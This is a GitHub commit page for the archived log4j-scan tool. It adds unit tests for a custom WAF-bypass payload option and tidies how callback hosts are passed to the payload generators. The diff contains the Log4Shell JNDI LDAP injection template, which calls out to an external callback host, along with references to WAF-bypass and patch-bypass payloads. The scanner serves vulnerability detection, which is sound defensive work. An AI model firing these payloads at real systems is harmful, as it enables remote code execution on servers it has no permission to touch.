Skip to content
This repository was archived by the owner on Mar 2, 2022. It is now read-only.

Commit c84cede

Browse files
committed
Unit test for --custom-waf-bypass-payload option
1 parent 3c730e5 commit c84cede

File tree

2 files changed

+22
-4
lines changed

2 files changed

+22
-4
lines changed

log4j-scan.py

+3-3
Original file line numberDiff line numberDiff line change
@@ -315,11 +315,11 @@ def scan_url(url, callback_host, proxies, args):
315315
payload = '${jndi:ldap://%s/%s}' % (host_def, random_string)
316316
payloads = [payload]
317317
if args.waf_bypass_payloads:
318-
payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string))
318+
payloads.extend(generate_waf_bypass_payloads(host_def, random_string))
319319

320320
if args.cve_2021_45046:
321321
cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow")
322-
payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)
322+
payloads = get_cve_2021_45046_payloads(host_def, random_string)
323323

324324
auth = None
325325
if args.basic_auth_user:
@@ -386,7 +386,7 @@ def main(options):
386386
if args.proxy:
387387
proxies = {"http": args.proxy, "https": args.proxy}
388388

389-
if args.custom_waf_bypass_payload:
389+
if args.custom_waf_bypass_payload and args.custom_waf_bypass_payload not in waf_bypass_payloads:
390390
waf_bypass_payloads.append(args.custom_waf_bypass_payload)
391391

392392
urls = []

tests/test_log4j_scan.py

+19-1
Original file line numberDiff line numberDiff line change
@@ -28,12 +28,30 @@ def test_default(requests_mock, capsys):
2828
assert adapter_endpoint.call_count == 1
2929
assert adapter_dns_save.call_count == 1
3030
assert '.interact.sh/' in captured.out
31-
assert 'Targets does not seem to be vulnerable' in captured.out
31+
assert 'Targets do not seem to be vulnerable' in captured.out
3232
assert 'jndi' in adapter_endpoint.last_request.url
3333
assert re.match(r'\${jndi:ldap://localhost\..*.interact\.sh/.*}', adapter_endpoint.last_request.headers['User-Agent'])
3434
assert 'Authorization' not in adapter_endpoint.last_request.headers
3535

3636

37+
def test_custom_waf_bypass_payload_custom_dns_callback_host(requests_mock):
38+
adapter_endpoint = requests_mock.get(LOCALHOST)
39+
40+
log4j_scan.main(['-u', LOCALHOST, '--custom-dns-callback-host', DNS_CUSTOM , '--waf-bypass', '--custom-waf-bypass-payload', 'test://{{callback_host}}/{{random}}' ])
41+
42+
assert adapter_endpoint.call_count == 25
43+
assert re.match(r'test://localhost\.custom.dns.callback/.*', adapter_endpoint.request_history[24].headers['User-Agent'])
44+
45+
46+
def test_custom_waf_bypass_payload_custom_tcp_callback_host(requests_mock):
47+
adapter_endpoint = requests_mock.get(LOCALHOST)
48+
49+
log4j_scan.main(['-u', LOCALHOST, '--custom-tcp-callback-host', '10.42.42.42:80' , '--waf-bypass', '--custom-waf-bypass-payload', 'test://{{callback_host}}/{{random}}' ])
50+
51+
assert adapter_endpoint.call_count == 25
52+
assert re.match(r'test://10\.42\.42\.42:80/.*', adapter_endpoint.request_history[24].headers['User-Agent'])
53+
54+
3755
def test_custom_dns_callback_host(requests_mock, capsys):
3856
adapter_endpoint = requests_mock.get(LOCALHOST)
3957

0 commit comments

Comments
 (0)